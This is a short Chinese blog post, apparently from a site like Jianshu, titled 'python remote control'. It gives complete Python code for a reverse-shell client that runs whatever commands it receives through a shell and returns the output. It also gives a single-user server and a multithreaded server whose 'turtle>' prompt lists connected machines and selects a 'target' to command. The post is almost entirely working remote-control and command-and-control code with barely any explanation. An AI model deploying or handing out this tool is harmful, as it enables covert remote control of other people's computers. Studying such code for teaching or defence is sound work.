美文网首页
python remote control

python remote control

作者: 极速魔法 | 来源:发表于2018-01-07 11:54 被阅读38次

single thread,one user
client.py

import os
import socket
import subprocess

host = '127.0.0.1'
port = 9999

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as msg:
    print("create socket failed " + str(msg))

s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
                               stderr=subprocess.PIPE, stdin=subprocess.PIPE)

        output_bytes = cmd.stdout.read() + cmd.stderr.read()
        output_str = output_bytes.decode("GB2312")
        s.send(str.encode(output_str + str(os.getcwd()) + '> '))
        print(output_str)
s.close()

server.py

import socket

import sys



# create socket
def socket_create():
    try:
        global host
        global port
        global s
        host = ''
        port = 9999
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as msg:
        print('create socket failed ' + str(msg))


# bind socket
def socket_bind():
    try:
        global host
        global port
        global s
        print('bind socket to port: ' + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("socket bind failed " + str(msg))


# accept
def socket_accept():
    conn, address = s.accept()
    print("connection established | " + "IP " + address[0] + ":" + str(address[1]))
    send_commands(conn)
    conn.close()


def send_commands(conn):
    while True:
        cmd = input()

        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), 'utf-8')
            print(client_response, end="")


if __name__ == '__main__':
    socket_create()
    socket_bind()
    socket_accept()

multithread,for multi users
server.py

import socket
import threading
import sys
import time
from queue import Queue

NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]

queue = Queue()
all_connections = []
all_address = []


# create socket
def socket_create():
    try:
        global host
        global port
        global s
        host = ''
        port = 9999
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as msg:
        print('create socket failed ' + str(msg))


# bind socket
def socket_bind():
    try:
        global host
        global port
        global s
        print('bind socket to port: ' + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("socket bind failed " + str(msg))


def accept_connections():
    for c in all_connections:
        c.close()
    del all_connections[:]
    del all_address[:]

    while True:
        try:
            conn, addrss = s.accept()
            conn.setblocking(1)
            all_connections.append(conn)
            all_address.append(addrss)
            print("\nConnection established: " + addrss[0])
        except:
            print("accept connections error")


def start_turtle():
    # handle with input cmd
    while True:
        cmd = input('turtle> ')
        if cmd == 'list':
            list_connections()
            continue
        elif 'select' in cmd:
            conn = get_target(cmd)
            if conn is not None:
                send_target_commands(conn)
        else:
            print('command not recognized')


# display all current connections
def list_connections():
    results = ''
    for i, conn in enumerate(all_connections):
        try:
            conn.send(str.encode(' '))
            conn.recv(20480)
        except:
            del all_connections[i]
            del all_address[i]
        results += str(i) + '  ' + str(all_address[i][0] + '|' + str(all_address[i][1]) + '\n')
    print('---------------Clients-------------------' + '\n' + results)


# select a target client
def get_target(cmd):
    try:
        # build connection
        target = cmd.replace('select ', '')
        target_num = int(target)
        conn = all_connections[target_num]
        print("yor are connected to " + str(all_address[target_num][0]))
        print(str(all_address[target_num][0]) + '> ', end='')
        return conn
    except Exception as e:
        print("not a valid selection "+str(e))
        return None


# connect with remote target
def send_target_commands(conn):
    while True:
        try:
            cmd = input()
            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_response = str(conn.recv(20480), "utf-8")
                print(client_response, end="")
            if cmd == 'quit':
                break
        except Exception as e:
            print("connection lost"+str(e))
            break


# create threads
def create_workers():
    for i in range(NUMBER_OF_THREADS):
        t = threading.Thread(target=work)
        t.daemon = True
        t.start()


def work():
    while True:
        x = queue.get()
        if x == 1:
            socket_create()
            socket_bind()
            accept_connections()
        if x == 2:
            start_turtle()
        queue.task_done()


# each list item is a new job
def create_jobs():
    for x in JOB_NUMBER:
        queue.put(x)

    # block unti all tasks are done
    queue.join()


if __name__ == '__main__':
    # 2 threads to consume
    create_workers()
    # 1 thread to produce
    create_jobs()

相关文章

网友评论

      本文标题:python remote control

      本文链接:https://www.haomeiwen.com/subject/fqypnxtx.html